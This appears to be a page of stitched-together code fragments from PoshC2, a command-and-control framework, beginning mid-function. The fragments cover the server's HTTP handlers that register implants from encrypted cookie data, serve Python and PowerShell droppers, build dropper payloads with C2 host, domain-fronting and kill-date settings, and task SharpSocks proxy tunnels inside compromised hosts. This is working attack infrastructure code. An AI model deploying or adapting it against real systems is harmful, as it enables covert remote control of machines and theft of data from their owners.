                        response_content = bytes(HTTPResponsePage, "utf-8")
                    else:
                        response_content = bytes(GET_404_Response, "utf-8")

            # dynamically hosted files
            elif [ele for ele in hosted_files if(ele.URI in self.path)]:
                for hosted_file in hosted_files:
                    if hosted_file.URI == self.path or f"/{hosted_file.URI}" == self.path and hosted_file.Active == "Yes":
                        try:
                            response_content = open(hosted_file.FilePath, 'rb').read()
                        except FileNotFoundError as e:
                            print_bad(f"Hosted file not found (src_addr: {self.client_address[0]}): {hosted_file.URI} -> {e.filename}")
                        response_content_type = hosted_file.ContentType
                        if hosted_file.Base64 == "Yes":
                            response_content = base64.b64encode(response_content)

                        # do this for the python dropper only
                        if "_py" in hosted_file.URI:
                            response_content = "a" + "".join("{:02x}".format(c) for c in response_content)
                            response_content = bytes(response_content, "utf-8")

            # register new implant
            elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
                implant_type = "PS"
                if self.path == ("%s?p" % new_implant_url):
                    implant_type = "PS Proxy"
                if self.path == ("%s?d" % new_implant_url):
                    implant_type = "PS Daisy"
                if self.path == ("%s?m" % new_implant_url):
                    implant_type = "Python"
                if self.path == ("%s?d?m" % new_implant_url):
                    implant_type = "Python Daisy"
                if self.path == ("%s?p?m" % new_implant_url):
                    implant_type = "Python Proxy"
                if self.path == ("%s?c" % new_implant_url):
                    implant_type = "C#"
                if self.path == ("%s?d?c" % new_implant_url):
                    implant_type = "C# Daisy"
                if self.path == ("%s?p?c" % new_implant_url):
                    implant_type = "C# Proxy"
                if self.path == ("%s?j" % new_implant_url):
                    implant_type = "JXA"
                if self.path == ("%s?e" % new_implant_url):
                    implant_type = "NativeLinux"
                if self.path == ("%s?p?e" % new_implant_url):
                    implant_type = "NativeLinux Proxy"

                if implant_type.startswith("C#"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    if "\\" in User:
                        User = User[User.index("\\") + 1:]
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), int(URLID))
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    response_content = encrypt(KEY, newImplant.SharpCore)

                elif implant_type.startswith("Python"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Domain, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower(), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content = encrypt(KEY, newImplant.PythonCore)

                elif implant_type.startswith("JXA"):
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Hostname, PID, ProcName, URLID = decCookie.split(";")
                    Domain = Hostname
                    URLID = URLID.replace("\x00", "")
                    URLID = URLID.replace("\x07", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), "x64", PID, str(ProcName).lower(), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content = encrypt(KEY, newImplant.JXACore)

                elif implant_type.startswith("NativeLinux"):
                    ProcName = "Linux Dropper"
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY, cookieVal)
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    User, Domain, Hostname, Arch, PID, URLID = decCookie.split(";")
                    URLID = URLID.replace("\x00", "")
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
                    newImplant.save()
                    newImplant.display()
                    response_content=encrypt(KEY, newImplant.NativeCore)                    
                else:
                    try:
                        cookieVal = (self.cookieHeader).replace("SessionID=", "")
                        decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
                        decCookie = str(decCookie)
                        Domain, User, Hostname, Arch, PID, ProcName, URLID = decCookie.split(";")
                        URLID = URLID.replace("\x00", "")
                        IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                        if "\\" in str(User):
                            User = User[str(User).index('\\') + 1:]
                        newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, str(ProcName).lower().replace(".exe",""), URLID)
                        newImplant.save()
                        newImplant.display()
                        newImplant.autoruns()
                        response_content = encrypt(KEY, newImplant.PSCore)
                    except Exception as e:
                        print("Decryption error: %s" % e)
                        traceback.print_exc()
                        response_code = 404
                        HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                        if HTTPResponsePage:
                            response_content = bytes(HTTPResponsePage, "utf-8")
                        else:
                            response_content = bytes(GET_404_Response, "utf-8")
            else:
                response_code = 404
                HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                if HTTPResponsePage:
                    response_content = bytes(HTTPResponsePage, "utf-8")
                else:

                    response_content = bytes(GET_404_Response, "utf-8")

            # send response
            self.send_response(response_code)
            self.send_header("Content-type", response_content_type)
            if response_content_len is not None:
                self.send_header("Connection", "close")
                self.send_header("Content-Length", response_content_len)
            self.end_headers()

            if response_content is not None:
                self.wfile.write(response_content)

        except Exception as e:
            webserver_log("Error handling GET request: " + str(e))
            webserver_log(traceback.format_exc())
Пример #12
0
def main(args):
    httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler)
    global new_implant_url, sharpurls, hosted_files, KEY, QuickCommandURI

    try:
        if os.name == 'nt':
            os.system('cls')
        else:
            os.system('clear')
    except Exception:
        print("cls")
    print(chr(27) + "[2J")
    print(Colours.GREEN + logopic)
    print(Colours.END + "")

    try:
        if db_exists():
            if len(os.listdir(PoshProjectDirectory)) > 2:
                existingdb(DatabaseType)
            else:
                print(Colours.RED + "[-] Project directory does not exist or is empty \n")
                print(Colours.RED + "[>] Create new DB and remove dir (%s) \n" % PoshProjectDirectory)
                sys.exit(1)
        else:
            newdb(DatabaseType)
    except Exception as e:
        print(str(e))
        traceback.print_exc()
        print(Colours.RED + "[>] Create new DB and remove dir (%s) \n" % PoshProjectDirectory)
        sys.exit(1)

    C2 = get_c2server_all()
    print("" + Colours.GREEN)
    print("CONNECT URL: " + get_newimplanturl() + Colours.GREEN)
    print("QUICKCOMMAND URL: " + select_item("QuickCommand", "C2Server") + Colours.GREEN)
    print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory)
    print("")
    print("PayloadCommsHost: " + select_item("PayloadCommsHost", "C2Server") + Colours.GREEN)
    print("DomainFrontHeader: " + str(select_item("DomainFrontHeader", "C2Server")) + Colours.GREEN)
    QuickCommandURI = select_item("QuickCommand", "C2Server")
    KEY = get_baseenckey()
    new_implant_url = get_newimplanturl()
    sharpurls = get_sharpurls().split(",")
    hosted_files = get_hosted_files()

    print("")
    print(time.asctime() + " PoshC2 Server Started - %s:%s" % (BindIP, BindPort))
    killdate = datetime.strptime(C2.KillDate, '%Y-%m-%d').date()
    datedifference = number_of_days(date.today(), killdate)
    if datedifference < 8:
        print(Colours.RED + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference)))
    else:
        print(Colours.GREEN + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference)))
    print(Colours.END)

    if "https://" in PayloadCommsHost.strip():
        if (os.path.isfile("%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile("%sposh.key" % PoshProjectDirectory)):
            try:
                httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
            except Exception:
                httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
        else:
            raise ValueError("Cannot find the certificate files")

    c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True)
    c2_message_thread.start()

    try:
        httpd.serve_forever()
    except (KeyboardInterrupt, EOFError):
        httpd.server_close()
        print(time.asctime() + " PoshC2 Server Stopped - %s:%s" % (BindIP, BindPort))
        sys.exit(0)
Пример #13
0
    def do_POST(self):
        try:
            """Respond to a POST request."""
            response_content_len = None
            response_code = 200
            response_content_type = "text/html"
            response_content = None

            self.server_version = ServerHeader
            self.sys_version = ""
            try:
                content_length = int(self.headers['Content-Length'])
            except ValueError:
                content_length = 0
            self.cookieHeader = self.headers.get('Cookie')
            if self.cookieHeader is not None:
                cookieVal = self.cookieHeader.replace("SessionID=", "")
            else:
                cookieVal = ""

            post_data = self.rfile.read(content_length)
            webserver_log("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n" % (str(self.path), str(self.headers), post_data))
            newTaskOutput(self.path, cookieVal, post_data)

        except Exception as e:
            webserver_log("Error handling POST request: " + str(e))
            webserver_log(traceback.format_exc())

        finally:
            try:
                UriPath = str(self.path)
                sharplist = []
                for implant in sharpurls:
                    implant = implant.replace(" ", "")
                    implant = implant.replace("\"", "")
                    sharplist.append("/" + implant)

                if [ele for ele in sharplist if(ele in UriPath)]:
                    try:
                        webserver_log("[+] Making POST connection to SharpSocks %s%s\r\n" % (SocksHost, UriPath))
                        r = Request("%s%s" % (SocksHost, UriPath), headers={'Cookie': '%s' % self.cookieHeader, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'})
                        res = urlopen(r, post_data)
                        sharpout = res.read()
                        response_code = res.getcode()
                        response_content_len = len(sharpout)
                        if (len(sharpout) > 0):
                            response_content = sharpout
                    except URLError as e:
                        response_code = 500
                        response_content_len = 0
                        webserver_log("[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                        webserver_log("[-] SharpSocks  %s\r\n" % e)
                    except Exception as e:
                        response_code = 404
                        response_content_len = 0
                        webserver_log("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                        webserver_log("[-] SharpSocks  %s\r\n" % e)
                        print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
                        HTTPResponsePage = select_item("GET_404_Response", "C2Server")
                        if HTTPResponsePage:
                            response_content = bytes(HTTPResponsePage, "utf-8")
                        else:
                            response_content = bytes(GET_404_Response, "utf-8")
                else:
                    response_content = default_response()

                # send response
                self.send_response(response_code)
                self.send_header("Content-type", response_content_type)
                if response_content_len is not None:
                    self.send_header("Connection", "close")
                    self.send_header("Content-Length", response_content_len)
                self.end_headers()
                if response_content is not None:
                    self.wfile.write(response_content)

            except Exception as e:
                webserver_log(f"Generic error in POST request to {UriPath}: \n" + str(e))
                webserver_log(traceback.format_exc)
Пример #14
0
    def __init__(self, KillDate, Key, Insecure, UserAgent, Referrer, ConnectURL, BaseDirectory, URLID=None, ImplantType="", PowerShellProxyCommand="", PBindPipeName=DefaultPBindPipeName, PBindSecret=DefaultPBindSecret):

        if not URLID:
            URLID = get_default_url_id()

        self.URLID = URLID
        urlDetails = get_url_by_id(self.URLID)
        self.KillDate = KillDate
        self.Key = Key
        self.QuickCommand = select_item("QuickCommand", "C2Server")
        self.FirstURL = get_first_url(select_item("PayloadCommsHost", "C2Server"), select_item("DomainFrontHeader", "C2Server"))        
        self.PayloadCommsHost = urlDetails[2]
        self.DomainFrontHeader = urlDetails[3]
        self.Proxyurl = urlDetails[4]
        self.Proxyuser = urlDetails[5]
        self.Proxypass = urlDetails[6]
        self.PowerShellProxyCommand = PowerShellProxyCommand
        self.ImplantType = ImplantType
        self.Insecure = Insecure
        self.UserAgent = UserAgent
        self.Referrer = Referrer
        self.ConnectURL = ConnectURL
        self.BaseDirectory = BaseDirectory
        self.PBindPipeName = PBindPipeName if PBindPipeName else DefaultPBindPipeName
        self.PBindSecret = PBindSecret if PBindSecret else DefaultPBindSecret
        self.BaseDirectory = BaseDirectory
        self.PSDropper = ""
        self.PyDropper = ""

        if os.path.exists("%saes.py" % PayloadsDirectory):
            with open("%saes.py" % PayloadsDirectory, 'r') as f:
                content = f.read()
            m = re.search('#KEY(.+?)#KEY', content)
            if m:
                keyfound = m.group(1)
            self.PyDropperHash = hashlib.sha512(content.encode("utf-8")).hexdigest()
            self.PyDropperKey = keyfound
        else:
            self.PyDropperKey = str(gen_key().decode("utf-8"))
            randomkey = self.PyDropperKey
            with open("%saes.py" % PayloadTemplatesDirectory, 'r') as f:
                content = f.read()
            aespy = str(content).replace("#REPLACEKEY#", "#KEY%s#KEY" % randomkey)
            filename = "%saes.py" % (self.BaseDirectory)
            with open(filename, 'w') as f:
                f.write(aespy)
            self.PyDropperHash = hashlib.sha512((aespy).encode('utf-8')).hexdigest()

        with open("%sdropper.ps1" % PayloadTemplatesDirectory, 'r') as f:
            content = f.read()
        self.PSDropper = str(content) \
            .replace("#REPLACEINSECURE#", self.Insecure) \
            .replace("#REPLACEHOSTPORT#", self.PayloadCommsHost) \
            .replace("#REPLACECONNECTURL#", (self.ConnectURL + self.ImplantType)) \
            .replace("#REPLACEIMPTYPE#", self.PayloadCommsHost) \
            .replace("#REPLACEKILLDATE#", self.KillDate) \
            .replace("#REPLACEPROXYUSER#", self.Proxyuser) \
            .replace("#REPLACEPROXYPASS#", self.Proxypass) \
            .replace("#REPLACEPROXYURL#", self.Proxyurl) \
            .replace("#REPLACEPROXYCOMMAND#", self.PowerShellProxyCommand) \
            .replace("#REPLACEDOMAINFRONT#", self.DomainFrontHeader) \
            .replace("#REPLACECONNECT#", self.ConnectURL) \
            .replace("#REPLACEUSERAGENT#", self.UserAgent) \
            .replace("#REPLACEREFERER#", self.Referrer) \
            .replace("#REPLACEURLID#", str(self.URLID)) \
            .replace("#REPLACEKEY#", self.Key)
Пример #15
0
def do_get_killdate(user, command):
    killdate = select_item("KillDate", "C2Server")
    print_good(f"KillDate: {killdate}")
    input("Press Enter to continue...")
    clear()
Пример #16
0
def do_sharpsocks(user, command, randomuri):
    style = Style.from_dict({
        '': '#80d130',
    })

    from random import choice
    channel = "".join(choice(string.ascii_letters) for _ in range(25))
    sharp_key = gen_key().decode("utf-8")
    default_sharp_urls = get_sharpurls()
    urls_prompt = PromptSession(history=FileHistory(
        f'{PoshProjectDirectory}/.comma-separated-urls-history'),
                                auto_suggest=AutoSuggestFromHistory(),
                                style=style)
    socks_proxy_urls = urls_prompt.prompt(
        f"What URIs would you like to use for SharpSocks? Default is {default_sharp_urls.replace(' ', '')}: "
    )
    if not socks_proxy_urls:
        socks_proxy_urls = default_sharp_urls
    socks_proxy_urls = socks_proxy_urls.split(",")
    if len(socks_proxy_urls) < 2:
        print("Please specify at least two URIs")
        return
    socks_proxy_urls = [i.replace("\"", "").strip() for i in socks_proxy_urls]
    socks_proxy_urls = [(i[1:] if i.startswith("/") else i)
                        for i in socks_proxy_urls]

    default_sharp_url = select_item("PayloadCommsHost",
                                    "C2Server").replace('"', '').split(',')[0]
    domains_prompt = PromptSession(history=FileHistory(
        f'{PoshProjectDirectory}/.protocol-and-domain-history'),
                                   auto_suggest=AutoSuggestFromHistory(),
                                   style=style)
    sharp_url = domains_prompt.prompt(
        f"What domain would you like to use for SharpSocks? Default is {default_sharp_url}: "
    )
    if not sharp_url:
        sharp_url = default_sharp_url
    if not sharp_url.startswith("http"):
        print("Please specify a protocol (http/https)")
        return

    default_host_header = get_first_dfheader(
        select_item("DomainFrontHeader", "C2Server"))
    host_headers_prompt = PromptSession(history=FileHistory(
        '%s/.host-headers-history' % PoshProjectDirectory),
                                        auto_suggest=AutoSuggestFromHistory(),
                                        style=style)
    host_header = host_headers_prompt.prompt(
        f"What host header should used? Default is {default_host_header}: ")
    if not host_header:
        host_header = default_host_header

    default_user_agent = select_item("UserAgent", "C2Server")
    user_agent_prompt = PromptSession(history=FileHistory(
        '%s/.user-agents-history' % PoshProjectDirectory),
                                      auto_suggest=AutoSuggestFromHistory(),
                                      style=style)
    user_agent = user_agent_prompt.prompt(
        f"What user agent? Default is \"{default_user_agent}\": ")
    if not user_agent:
        user_agent = default_user_agent

    default_beacon = "200"
    beacon_prompt = PromptSession(history=FileHistory('%s/.beacon-history' %
                                                      PoshProjectDirectory),
                                  auto_suggest=AutoSuggestFromHistory(),
                                  style=style)
    beacon = beacon_prompt.prompt(
        f"What beacon interval would you like SharpSocks to use (ms)? Default: {default_beacon}ms: "
    )
    if not beacon:
        beacon = default_beacon
    if beacon.strip().endswith("ms"):
        beacon = beacon.replace("ms", "").strip()

    server_command = f"{PoshInstallDirectory}resources/SharpSocks/SharpSocksServer/SharpSocksServer -c={channel} -k={sharp_key} -l={SocksHost} -v"
    if " -v" in command or " --verbose" in command:
        server_command += " --verbose"
    server_command += "\n"
    print(
        Colours.GREEN +
        "\nOk, run this command from your SharpSocksServer directory to launch the SharpSocks server:\n"
    )
    print(server_command)

    task = f"run-exe SharpSocksImplant.Program SharpSocksImplant -s {sharp_url} -c {channel} -k {sharp_key} -url1 {socks_proxy_urls[0]} -url2 {socks_proxy_urls[1]} -b {beacon} -r {beacon} --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken --user-agent \"{user_agent}\""
    if host_header:
        task += f" -df {host_header}"

    extra_args = command.replace("sharpsocks ", "").strip()
    if extra_args:
        task += " " + extra_args

    confirm = input(
        "Are you ready to start the SharpSocks in the implant? (Y/n) ")
    if confirm == "" or confirm.lower() == "y":
        new_task(task, user, randomuri)
    else:
        print("Aborted...")
        return

    print("SharpSocks task issued, to stop SharpSocks run stopsocks")